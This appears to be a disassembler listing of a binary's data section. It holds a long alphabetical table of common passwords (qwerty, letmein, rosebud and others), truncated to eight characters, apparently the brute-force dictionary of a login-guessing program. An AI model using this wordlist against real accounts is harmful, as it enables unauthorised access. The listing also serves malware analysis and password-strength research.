aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0042D768o
align 10h
aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042D764o
aRose db 'rose',0 ; DATA XREF: .nsp0:0042D760o
align 10h
aRonald db 'ronald',0 ; DATA XREF: .nsp0:0042D75Co
align 4
aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0042D758o
aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042D754o
align 4
aRomano db 'romano',0 ; DATA XREF: .nsp0:0042D750o
align 10h
aRolex db 'rolex',0 ; DATA XREF: .nsp0:0042D74Co
align 4
aRodent db 'rodent',0 ; DATA XREF: .nsp0:0042D748o
align 10h
aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042D744o
align 4
aRocky db 'rocky',0 ; DATA XREF: .nsp0:0042D740o
align 4
aRock db 'rock',0 ; DATA XREF: .nsp0:0042D73Co
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0042D738o
align 4
aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042D734o
align 4
aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0042D730o
align 4
aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0042D72Co
align 4
aRobot db 'robot',0 ; DATA XREF: .nsp0:0042D728o
align 10h
aRobin db 'robin',0 ; DATA XREF: .nsp0:0042D724o
align 4
aRobert db 'robert',0 ; DATA XREF: .nsp0:0042D720o
align 10h
aRoach db 'roach',0 ; DATA XREF: .nsp0:0042D71Co
align 4
aRisc db 'risc',0 ; DATA XREF: .nsp0:0042D718o
align 10h
aRipple db 'ripple',0 ; DATA XREF: .nsp0:0042D714o
align 4
aRiot db 'riot',0 ; DATA XREF: .nsp0:0042D710o
align 10h
aRing db 'ring',0 ; DATA XREF: .nsp0:0042D70Co
align 4
aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0042D708o
align 4
aRight db 'right',0 ; DATA XREF: .nsp0:0042D704o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0042D700o
align 4
aRick db 'rick',0 ; DATA XREF: .nsp0:0042D6FCo
align 10h
aRich db 'rich',0 ; DATA XREF: .nsp0:0042D6F8o
align 4
aRhino db 'rhino',0 ; DATA XREF: .nsp0:0042D6F4o
align 10h
aReveal db 'reveal',0 ; DATA XREF: .nsp0:0042D6F0o
align 4
aResistan db 'resistan',0 ; DATA XREF: .nsp0:0042D6ECo
align 4
aRepublic db 'republic',0 ; DATA XREF: .nsp0:0042D6E8o
align 10h
aReport db 'report',0 ; DATA XREF: .nsp0:0042D6E4o
align 4
aRent db 'rent',0 ; DATA XREF: .nsp0:0042D6E0o
align 10h
aReno db 'reno',0 ; DATA XREF: .nsp0:0042D6DCo
align 4
aRenee db 'renee',0 ; DATA XREF: .nsp0:0042D6D8o
align 10h
aRemote db 'remote',0 ; DATA XREF: .nsp0:0042D6D4o
align 4
aRelease db 'release',0 ; DATA XREF: .nsp0:0042D6D0o
aRegional db 'regional',0 ; DATA XREF: .nsp0:0042D6CCo
align 4
aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0042D6C8o
align 4
aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042D6C4o
aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0042D6C0o
aRecord db 'record',0 ; DATA XREF: .nsp0:0042D6BCo
align 10h
aRebel db 'rebel',0 ; DATA XREF: .nsp0:0042D6B8o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042D6B4o
aRebal db 'rebal',0 ; DATA XREF: .nsp0:0042D6B0o
align 4
aReaper db 'reaper',0 ; DATA XREF: .nsp0:0042D6ACo
align 10h
aReam db 'ream',0 ; DATA XREF: .nsp0:0042D6A8o
align 4
aReally db 'really',0 ; DATA XREF: .nsp0:0042D6A4o
align 10h
aReality db 'reality',0 ; DATA XREF: .nsp0:0042D6A0o
aReagan db 'reagan',0 ; DATA XREF: .nsp0:0042D69Co
align 10h
aRazor db 'razor',0 ; DATA XREF: .nsp0:0042D698o
align 4
aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042D694o
align 10h
aRape db 'rape',0 ; DATA XREF: .nsp0:0042D690o
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0042D688o
aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042D684o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0042D680o
aRain db 'rain',0 ; DATA XREF: .nsp0:0042D67Co
align 4
aRaid db 'raid',0 ; DATA XREF: .nsp0:0042D678o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042D674o
align 10h
aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0042D670o
align 4
aRachel db 'rachel',0 ; DATA XREF: .nsp0:0042D66Co
align 4
aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0042D668o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042D664o
; .nsp0:0042E3BCo
align 4
aQwert db 'qwert',0 ; DATA XREF: .nsp0:0042D660o
; .nsp0:0042E3B8o
align 4
aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0042D65Co
align 4
aPussy db 'pussy',0 ; DATA XREF: .nsp0:0042D658o
align 4
aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042D654o
align 4
aPunk db 'punk',0 ; DATA XREF: .nsp0:0042D650o
align 4
aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0042D64Co
align 4
aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0042D648o
align 10h
aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042D644o
aPuke db 'puke',0 ; DATA XREF: .nsp0:0042D640o
align 10h
aPuck db 'puck',0 ; DATA XREF: .nsp0:0042D63Co
align 4
aPublic db 'public',0 ; DATA XREF: .nsp0:0042D638o
align 10h
aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042D634o
align 4
aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0042D630o
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0042D62Co
align 10h
aProtect db 'protect',0 ; DATA XREF: .nsp0:0042D628o
aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0042D624o
align 10h
aProgram db 'program',0 ; DATA XREF: .nsp0:0042D620o
aProfile db 'profile',0 ; DATA XREF: .nsp0:0042D61Co
aProfesso db 'professo',0 ; DATA XREF: .nsp0:0042D618o
align 4
aProcesso db 'processo',0 ; DATA XREF: .nsp0:0042D614o
align 4
aProceed db 'proceed',0 ; DATA XREF: .nsp0:0042D610o
aPrivs db 'privs',0 ; DATA XREF: .nsp0:0042D60Co
align 4
aPrivate db 'private',0 ; DATA XREF: .nsp0:0042D608o
aPriv db 'priv',0 ; DATA XREF: .nsp0:0042D604o
align 4
aPrinter db 'printer',0 ; DATA XREF: .nsp0:0042D600o
aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0042D5FCo
align 4
aPrince db 'prince',0 ; DATA XREF: .nsp0:0042D5F8o
align 4
aPresto db 'presto',0 ; DATA XREF: .nsp0:0042D5F4o
align 4
aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0042D5F0o
aPrecious db 'precious',0 ; DATA XREF: .nsp0:0042D5ECo
align 10h
aPraise db 'praise',0 ; DATA XREF: .nsp0:0042D5E8o
align 4
aPower db 'power',0 ; DATA XREF: .nsp0:0042D5E4o
align 10h
aPoster db 'poster',0 ; DATA XREF: .nsp0:0042D5E0o
align 4
aPost db 'post',0 ; DATA XREF: .nsp0:0042D5DCo
align 10h
aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0042D5D8o
aPorno db 'porno',0 ; DATA XREF: .nsp0:0042D5D4o
align 10h
aPorn db 'porn',0 ; DATA XREF: .nsp0:0042D5D0o
align 4
aPork db 'pork',0 ; DATA XREF: .nsp0:0042D5CCo
align 10h
aPoor db 'poor',0 ; DATA XREF: .nsp0:0042D5C8o
align 4
aPoop db 'poop',0 ; DATA XREF: .nsp0:0042D5C4o
align 10h
aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0042D5C0o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0042D5BCo
align 4
aPolly db 'polly',0 ; DATA XREF: .nsp0:0042D5B8o
align 10h
aPolice db 'police',0 ; DATA XREF: .nsp0:0042D5B4o
align 4
aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0042D5B0o
align 10h
aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0042D5ACo
align 4
aPluto db 'pluto',0 ; DATA XREF: .nsp0:0042D5A8o
align 4
aPlover db 'plover',0 ; DATA XREF: .nsp0:0042D5A4o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0042D5A0o
aPlane db 'plane',0 ; DATA XREF: .nsp0:0042D59Co
align 4
aPizza db 'pizza',0 ; DATA XREF: .nsp0:0042D598o
align 4
aPiss db 'piss',0 ; DATA XREF: .nsp0:0042D594o
align 4
aPinname db 'pinname',0 ; DATA XREF: .nsp0:0042D590o
aPimp db 'pimp',0 ; DATA XREF: .nsp0:0042D58Co
align 4
aPierre db 'pierre',0 ; DATA XREF: .nsp0:0042D588o
align 4
aPick db 'pick',0 ; DATA XREF: .nsp0:0042D584o
align 4
aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0042D580o
align 4
aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0042D57Co
align 4
aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0042D578o
align 4
aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0042D574o
align 4
aPhoton db 'photon',0 ; DATA XREF: .nsp0:0042D570o
align 4
aPhone db 'phone',0 ; DATA XREF: .nsp0:0042D56Co
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0042D568o
aPhilip db 'philip',0 ; DATA XREF: .nsp0:0042D564o
align 4
aPhil db 'phil',0 ; DATA XREF: .nsp0:0042D560o
align 4
aPeter db 'peter',0 ; DATA XREF: .nsp0:0042D55Co
align 4
aPete db 'pete',0 ; DATA XREF: .nsp0:0042D558o
align 4
aPervert db 'pervert',0 ; DATA XREF: .nsp0:0042D554o
aPersona db 'persona',0 ; DATA XREF: .nsp0:0042D550o
aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0042D54Co
align 10h
aPermit db 'permit',0 ; DATA XREF: .nsp0:0042D548o
align 4
aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0042D544o
aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0042D540o
align 4
aPepper db 'pepper',0 ; DATA XREF: .nsp0:0042D53Co
align 4
aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0042D538o
align 4
aPentium db 'pentium',0 ; DATA XREF: .nsp0:0042D534o
aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0042D530o
align 10h
aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0042D52Co
align 4
aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0042D528o
align 4
aPenname db 'penname',0 ; DATA XREF: .nsp0:0042D524o
aPenis db 'penis',0 ; DATA XREF: .nsp0:0042D520o
align 4
aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0042D51Co
aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0042D518o
align 4
aPencil db 'pencil',0 ; DATA XREF: .nsp0:0042D514o
align 4
aPecker db 'pecker',0 ; DATA XREF: .nsp0:0042D510o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0042D50Co
aPaula db 'paula',0 ; DATA XREF: .nsp0:0042D508o
align 4
aPatty db 'patty',0 ; DATA XREF: .nsp0:0042D504o
align 4
aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0042D500o
aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0042D4FCo
align 4
aPaste db 'paste',0 ; DATA XREF: .nsp0:0042D4F8o
align 10h
aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0042D4F4o
align 4
aPascal db 'pascal',0 ; DATA XREF: .nsp0:0042D4F0o
align 4
aPapers db 'papers',0 ; DATA XREF: .nsp0:0042D4ECo
align 4
aPaper db 'paper',0 ; DATA XREF: .nsp0:0042D4E8o
align 4
aPapa db 'papa',0 ; DATA XREF: .nsp0:0042D4E4o
align 4
aPamela db 'pamela',0 ; DATA XREF: .nsp0:0042D4E0o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0042D4DCo
align 10h
aPaint db 'paint',0 ; DATA XREF: .nsp0:0042D4D8o
align 4
aPainless db 'painless',0 ; DATA XREF: .nsp0:0042D4D4o
align 4
aPacker db 'packer',0 ; DATA XREF: .nsp0:0042D4D0o
align 4
aPackard db 'packard',0 ; DATA XREF: .nsp0:0042D4CCo
aPacific db 'pacific',0 ; DATA XREF: .nsp0:0042D4C8o
aOxford db 'oxford',0 ; DATA XREF: .nsp0:0042D4C4o
align 4
aOutside db 'outside',0 ; DATA XREF: .nsp0:0042D4C0o
aOutput db 'output',0 ; DATA XREF: .nsp0:0042D4BCo
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:0042D4B8o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:0042D4B4o
align 4
aOsiris db 'osiris',0 ; DATA XREF: .nsp0:0042D4B0o
align 10h
aOscar db 'oscar',0 ; DATA XREF: .nsp0:0042D4ACo
align 4
aOrwell db 'orwell',0 ; DATA XREF: .nsp0:0042D4A8o
align 10h
aOrient db 'orient',0 ; DATA XREF: .nsp0:0042D4A4o
align 4
aOrca db 'orca',0 ; DATA XREF: .nsp0:0042D4A0o
align 10h
aOperator db 'operator',0 ; DATA XREF: .nsp0:0042D49Co
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:0042D498o
align 4
aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:0042D494o
align 4
aOpening db 'opening',0 ; DATA XREF: .nsp0:0042D490o
aOmega db 'omega',0 ; DATA XREF: .nsp0:0042D488o
align 4
aOlivia db 'olivia',0 ; DATA XREF: .nsp0:0042D484o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:0042D480o
align 4
aOldage db 'oldage',0 ; DATA XREF: .nsp0:0042D47Co
align 10h
aOkay db 'okay',0 ; DATA XREF: .nsp0:0042D478o
align 4
aOffice db 'office',0 ; DATA XREF: .nsp0:0042D474o
align 10h
aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:0042D470o
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:0042D46Co
align 4
aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:0042D468o
align 10h
aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:0042D464o
aNuts db 'nuts',0 ; DATA XREF: .nsp0:0042D460o
align 10h
aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:0042D45Co
align 4
aNumber db 'number',0 ; DATA XREF: .nsp0:0042D458o
align 4
aNull_1 db 'null',0 ; DATA XREF: .nsp0:0042D454o
align 4
aNukem db 'nukem',0 ; DATA XREF: .nsp0:0042D450o
align 4
aNuke db 'nuke',0 ; DATA XREF: .nsp0:0042D44Co
align 4
aNude db 'nude',0 ; DATA XREF: .nsp0:0042D448o
align 4
aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:0042D444o
aNoxious db 'noxious',0 ; DATA XREF: .nsp0:0042D440o
aNovember db 'november',0 ; DATA XREF: .nsp0:0042D43Co
align 10h
aNovel db 'novel',0 ; DATA XREF: .nsp0:0042D438o
align 4
aNova db 'nova',0 ; DATA XREF: .nsp0:0042D434o
align 10h
aNoth db 'noth',0 ; DATA XREF: .nsp0:0042D430o
align 4
aNotes db 'notes',0 ; DATA XREF: .nsp0:0042D42Co
align 10h
aNoreen db 'noreen',0 ; DATA XREF: .nsp0:0042D428o
align 4
aNode db 'node',0 ; DATA XREF: .nsp0:0042D424o
align 10h
aNobody db 'nobody',0 ; DATA XREF: .nsp0:0042D420o
align 4
aNoble db 'noble',0 ; DATA XREF: .nsp0:0042D41Co
align 10h
aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:0042D418o
align 4
aNita db 'nita',0 ; DATA XREF: .nsp0:0042D414o
align 10h
aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:0042D410o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:0042D40Co
align 4
aNight db 'night',0 ; DATA XREF: .nsp0:0042D408o
align 10h
aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:0042D404o
align 4
aNicole db 'nicole',0 ; DATA XREF: .nsp0:0042D400o
align 4
aNice db 'nice',0 ; DATA XREF: .nsp0:0042D3FCo
align 4
aNext db 'next',0 ; DATA XREF: .nsp0:0042D3F8o
align 4
aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0042D3F4o
aNewton db 'newton',0 ; DATA XREF: .nsp0:0042D3F0o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0042D3ECo
align 10h
aNews db 'news',0 ; DATA XREF: .nsp0:0042D3E8o
align 4
aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0042D3E4o
aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0042D3E0o
aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0042D3DCo
align 4
aNess db 'ness',0 ; DATA XREF: .nsp0:0042D3D8o
align 4
aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0042D3D4o
aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:0042D3D0o
align 10h
aNavy db 'navy',0 ; DATA XREF: .nsp0:0042D3CCo
align 4
aNasa db 'nasa',0 ; DATA XREF: .nsp0:0042D3C8o
align 10h
aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:0042D3C4o
align 4
aNancy db 'nancy',0 ; DATA XREF: .nsp0:0042D3C0o
align 4
aName db 'name',0 ; DATA XREF: .nsp0:0042D3BCo
align 4
aNagel db 'nagel',0 ; DATA XREF: .nsp0:0042D3B8o
align 4
aMutant db 'mutant',0 ; DATA XREF: .nsp0:0042D3B4o
align 4
aMuppets db 'muppets',0 ; DATA XREF: .nsp0:0042D3B0o
aMsdos db 'msdos',0 ; DATA XREF: .nsp0:0042D3ACo
align 4
aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:0042D3A8o
align 4
aMozart db 'mozart',0 ; DATA XREF: .nsp0:0042D3A4o
align 4
aMovies db 'movies',0 ; DATA XREF: .nsp0:0042D3A0o
align 4
aMovie db 'movie',0 ; DATA XREF: .nsp0:0042D39Co
align 4
aMove db 'move',0 ; DATA XREF: .nsp0:0042D398o
align 4
aMouse db 'mouse',0 ; DATA XREF: .nsp0:0042D394o
align 4
aMountain db 'mountain',0 ; DATA XREF: .nsp0:0042D390o
align 4
aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:0042D38Co
align 10h
aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:0042D388o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:0042D384o
align 4
aMortal db 'mortal',0 ; DATA XREF: .nsp0:0042D380o
align 10h
aMorris db 'morris',0 ; DATA XREF: .nsp0:0042D37Co
align 4
aMorley db 'morley',0 ; DATA XREF: .nsp0:0042D378o
align 10h
aMore db 'more',0 ; DATA XREF: .nsp0:0042D374o
align 4
aMoose db 'moose',0 ; DATA XREF: .nsp0:0042D370o
align 10h
aMoor db 'moor',0 ; DATA XREF: .nsp0:0042D36Co
align 4
aMoom db 'moom',0 ; DATA XREF: .nsp0:0042D368o
align 10h
aMonica db 'monica',0 ; DATA XREF: .nsp0:0042D364o
align 4
aMonday db 'monday',0 ; DATA XREF: .nsp0:0042D360o
align 10h
aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0042D35Co
align 4
aMogul db 'mogul',0 ; DATA XREF: .nsp0:0042D358o
align 10h
aModem db 'modem',0 ; DATA XREF: .nsp0:0042D354o
align 4
aMode db 'mode',0 ; DATA XREF: .nsp0:0042D350o
align 10h
aMkii db 'mkii',0 ; DATA XREF: .nsp0:0042D34Co
align 4
aMission db 'mission',0 ; DATA XREF: .nsp0:0042D348o
aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0042D344o
align 4
aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0042D340o
align 10h
aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0042D33Co
aMine db 'mine',0 ; DATA XREF: .nsp0:0042D338o
align 10h
aMike db 'mike',0 ; DATA XREF: .nsp0:0042D334o
align 4
aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0042D330o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0042D32Co
align 10h
aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0042D328o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0042D324o
align 4
aMicro db 'micro',0 ; DATA XREF: .nsp0:0042D320o
align 10h
aMickey db 'mickey',0 ; DATA XREF: .nsp0:0042D31Co
align 4
aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0042D318o
align 4
aMichele db 'michele',0 ; DATA XREF: .nsp0:0042D314o
aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0042D310o
align 4
aMichel db 'michel',0 ; DATA XREF: .nsp0:0042D30Co
align 10h
aMichael db 'michael',0 ; DATA XREF: .nsp0:0042D308o
aMice db 'mice',0 ; DATA XREF: .nsp0:0042D304o
align 10h
aMets db 'mets',0 ; DATA XREF: .nsp0:0042D300o
align 4
aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0042D2FCo
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0042D2F8o
align 10h
aMetal db 'metal',0 ; DATA XREF: .nsp0:0042D2F4o
align 4
aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0042D2F0o
align 10h
aMercury db 'mercury',0 ; DATA XREF: .nsp0:0042D2ECo
aMenu db 'menu',0 ; DATA XREF: .nsp0:0042D2E8o
align 10h
aMenace db 'menace',0 ; DATA XREF: .nsp0:0042D2E4o
align 4
aMemory db 'memory',0 ; DATA XREF: .nsp0:0042D2E0o
align 10h
aMember db 'member',0 ; DATA XREF: .nsp0:0042D2DCo
align 4
aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0042D2D8o
aMellon db 'mellon',0 ; DATA XREF: .nsp0:0042D2D4o
align 4
aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0042D2D0o
aMegan db 'megan',0 ; DATA XREF: .nsp0:0042D2CCo
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0042D2C8o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0042D2C4o
align 10h
aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0042D2C0o
align 4
aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0042D2BCo
aMath db 'math',0 ; DATA XREF: .nsp0:0042D2B8o
align 4
aMaster db 'master',0 ; DATA XREF: .nsp0:0042D2B4o
align 10h
aMason db 'mason',0 ; DATA XREF: .nsp0:0042D2B0o
align 4
aMary db 'mary',0 ; DATA XREF: .nsp0:0042D2ACo
align 10h
aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0042D2A8o
align 4
aMarty db 'marty',0 ; DATA XREF: .nsp0:0042D2A4o
align 10h
aMars db 'mars',0 ; DATA XREF: .nsp0:0042D2A0o
align 4
aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0042D29Co
align 4
aMarni db 'marni',0 ; DATA XREF: .nsp0:0042D298o
align 4
aMarkus db 'markus',0 ; DATA XREF: .nsp0:0042D294o
align 4
aMark db 'mark',0 ; DATA XREF: .nsp0:0042D290o
align 4
aMarines db 'marines',0 ; DATA XREF: .nsp0:0042D28Co
aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0042D288o
align 10h
aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0042D284o
align 4
aMariens db 'mariens',0 ; DATA XREF: .nsp0:0042D280o
aMaria db 'maria',0 ; DATA XREF: .nsp0:0042D27Co
align 4
aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0042D278o
align 4
aMarci db 'marci',0 ; DATA XREF: .nsp0:0042D274o
align 4
aMara db 'mara',0 ; DATA XREF: .nsp0:0042D270o
align 4
aManager db 'manager',0 ; DATA XREF: .nsp0:0042D26Co
aMana db 'mana',0 ; DATA XREF: .nsp0:0042D268o
align 4
aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0042D264o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0042D260o
aMaint db 'maint',0 ; DATA XREF: .nsp0:0042D25Co
align 4
aMail db 'mail',0 ; DATA XREF: .nsp0:0042D258o
align 4
aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0042D254o
align 4
aMagic db 'magic',0 ; DATA XREF: .nsp0:0042D250o
align 4
aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0042D24Co
align 4
aMacro db 'macro',0 ; DATA XREF: .nsp0:0042D248o
align 4
aMack db 'mack',0 ; DATA XREF: .nsp0:0042D244o
align 4
aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0042D240o
align 4
aMachine db 'machine',0 ; DATA XREF: .nsp0:0042D23Co
aLynne db 'lynne',0 ; DATA XREF: .nsp0:0042D238o
align 4
aLynn db 'lynn',0 ; DATA XREF: .nsp0:0042D234o
align 10h
aLust db 'lust',0 ; DATA XREF: .nsp0:0042D230o
align 4
aLuke db 'luke',0 ; DATA XREF: .nsp0:0042D22Co
align 10h
aLude db 'lude',0 ; DATA XREF: .nsp0:0042D228o
align 4
aLucy db 'lucy',0 ; DATA XREF: .nsp0:0042D224o
align 10h
aLucus db 'lucus',0 ; DATA XREF: .nsp0:0042D220o
align 4
aLuck db 'luck',0 ; DATA XREF: .nsp0:0042D21Co
align 10h
aLover db 'lover',0 ; DATA XREF: .nsp0:0042D218o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0042D214o
aLouis db 'louis',0 ; DATA XREF: .nsp0:0042D210o
align 4
aLoser db 'loser',0 ; DATA XREF: .nsp0:0042D20Co
align 10h
aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0042D208o
align 4
aLorin db 'lorin',0 ; DATA XREF: .nsp0:0042D204o
align 4
aLori db 'lori',0 ; DATA XREF: .nsp0:0042D200o
align 4
aLore db 'lore',0 ; DATA XREF: .nsp0:0042D1FCo
align 4
aLoose db 'loose',0 ; DATA XREF: .nsp0:0042D1F8o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0042D1F4o
align 4
aLois db 'lois',0 ; DATA XREF: .nsp0:0042D1F0o
align 4
aLogout db 'logout',0 ; DATA XREF: .nsp0:0042D1ECo
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0042D1E8o
align 10h
aLogic db 'logic',0 ; DATA XREF: .nsp0:0042D1E4o
align 4
aLockword db 'lockword',0 ; DATA XREF: .nsp0:0042D1E0o
align 4
aLockout db 'lockout',0 ; DATA XREF: .nsp0:0042D1DCo
aLock db 'lock',0 ; DATA XREF: .nsp0:0042D1D8o
align 4
aLoad db 'load',0 ; DATA XREF: .nsp0:0042D1D4o
align 4
aLive db 'live',0 ; DATA XREF: .nsp0:0042D1D0o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0042D1CCo
align 10h
aLisp db 'lisp',0 ; DATA XREF: .nsp0:0042D1C8o
align 4
aLisa db 'lisa',0 ; DATA XREF: .nsp0:0042D1C4o
align 10h
aLips db 'lips',0 ; DATA XREF: .nsp0:0042D1C0o
align 4
aLion db 'lion',0 ; DATA XREF: .nsp0:0042D1BCo
align 10h
aLink db 'link',0 ; DATA XREF: .nsp0:0042D1B8o
align 4
aLinda db 'linda',0 ; DATA XREF: .nsp0:0042D1B4o
align 10h
aLimited db 'limited',0 ; DATA XREF: .nsp0:0042D1B0o
aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0042D1ACo
align 4
aLima db 'lima',0 ; DATA XREF: .nsp0:0042D1A8o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0042D1A4o
align 4
aLight db 'light',0 ; DATA XREF: .nsp0:0042D1A0o
align 10h
aLife db 'life',0 ; DATA XREF: .nsp0:0042D19Co
align 4
aLicker db 'licker',0 ; DATA XREF: .nsp0:0042D198o
align 10h
aLick db 'lick',0 ; DATA XREF: .nsp0:0042D194o
align 4
aLibrary db 'library',0 ; DATA XREF: .nsp0:0042D190o
aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0042D18Co
aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0042D188o
align 4
aLewis db 'lewis',0 ; DATA XREF: .nsp0:0042D184o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0042D180o
aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0042D17Co
align 4
aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0042D178o
aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0042D174o
align 4
aLeland db 'leland',0 ; DATA XREF: .nsp0:0042D170o
align 4
aLegal db 'legal',0 ; DATA XREF: .nsp0:0042D16Co
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0042D168o
align 4
aLeft db 'left',0 ; DATA XREF: .nsp0:0042D164o
align 10h
aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0042D160o
align 4
aLeah db 'leah',0 ; DATA XREF: .nsp0:0042D15Co
align 4
aLazer db 'lazer',0 ; DATA XREF: .nsp0:0042D158o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0042D154o
aLava db 'lava',0 ; DATA XREF: .nsp0:0042D150o
align 4
